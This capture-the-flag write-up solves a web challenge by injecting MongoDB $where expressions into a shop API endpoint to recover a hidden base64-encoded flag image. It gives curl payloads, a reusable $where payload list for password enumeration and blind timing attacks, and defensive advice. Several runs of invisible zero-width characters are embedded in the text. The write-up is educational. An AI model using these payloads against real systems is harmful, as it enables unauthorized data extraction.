← Back to Writeups
CUSTOMMediumWeb

Art is an explosion (Искусство — это взрыв)

XESXOR9/10/20262 min read
#web#custom#medium#base64_decode#mongodb_where_bypass#nosql_injection#linux

Art is an explosion (Искусство — это взрыв)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: base64_decode, mongodb_where_bypass, nosql_injection

Summary

Task: Web application with MongoDB backend exposing shop API. Solution: NoSQL injection via $where operator in GET /api/shop/{id} endpoint to find hidden record containing base64-encoded flag image.

Art is an explosion — DUCKERZ CTF

Description

The task name references Deidara's phrase from the anime Naruto: "Art is an explosion". The description hinted at the use of a NoSQL database (MongoDB).

URL: http://tasks.duckerz.ru:30076

Analysis

Endpoint Reconnaissance

The application had the following endpoints:

  • / - Login page with /api/login
  • /register - Registration via /api/register
  • /home, /profile, /shop - Protected pages
  • /api/shop (POST), /api/shop/{id} (GET), /api/profile/images, /api/create, /api/categories ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

MongoDB Confirmation

The registration response contained a MongoDB ObjectId:

json
{"InsertedID":"69604eda76d69f228e0d1850"}

Authentication via JWT token with user_id field.

Vulnerability Discovery

EndpointResult
POST /api/shopFilters ignored
POST /api/loginProtected ("Invalid input" for operators)
GET /api/shop/{id}VULNERABLE to NoSQL injection via $where!

Solution

1. Testing NoSQL Injection

Testing $where operator on GET /api/shop/{id}: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
# Returns first record
curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22true%22%7D" -b "token=$TOKEN"

# Search for records with different owner_id
curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.owner_id%20!%3D%20'1'%22%7D" -b "token=$TOKEN"

2. Finding the Flag

Payload to search for hidden record with flag:

bash
# URL-encoded: {"$where":"this.name.includes('flag')"}
curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \
  -b "token=$TOKEN"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

json
{
  "_id": "696046e276d69f228e0d184d",
  "category": "nice",
  "label": "initial", 
  "name": "flag",
  "owner_id": 1,
  "path": "/tmp/d3f3n1731Y_N07_4_Fr46.png"
}

The path field contained a base64-encoded PNG image.

3. Extracting the Flag

bash
TOKEN="<jwt_token>"
curl -s "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \
  -b "token=$TOKEN" | jq -r '.path' | base64 -d > flag.png

The PNG image (1278x79 pixels) contained the flag as text. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Useful Payloads for MongoDB $where

javascript
// Basic checks
{"$where":"true"}
{"$where":"false"}

// Field search
{"$where":"this.field == 'value'"}
{"$where":"this.field.includes('substring')"}
{"$where":"this.field != 'value'"}

// Data enumeration
{"$where":"this.password.length > 10"}
{"$where":"this.password[0] == 'a'"}

// Time-based (for blind injection)
{"$where":"sleep(5000)"}

Defense

  • Validate input data types (strings only for ID)
  • Use parameterized queries
  • Disallow $where, $regex operators in user input
  • Sanitization via allowlist of permitted characters ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍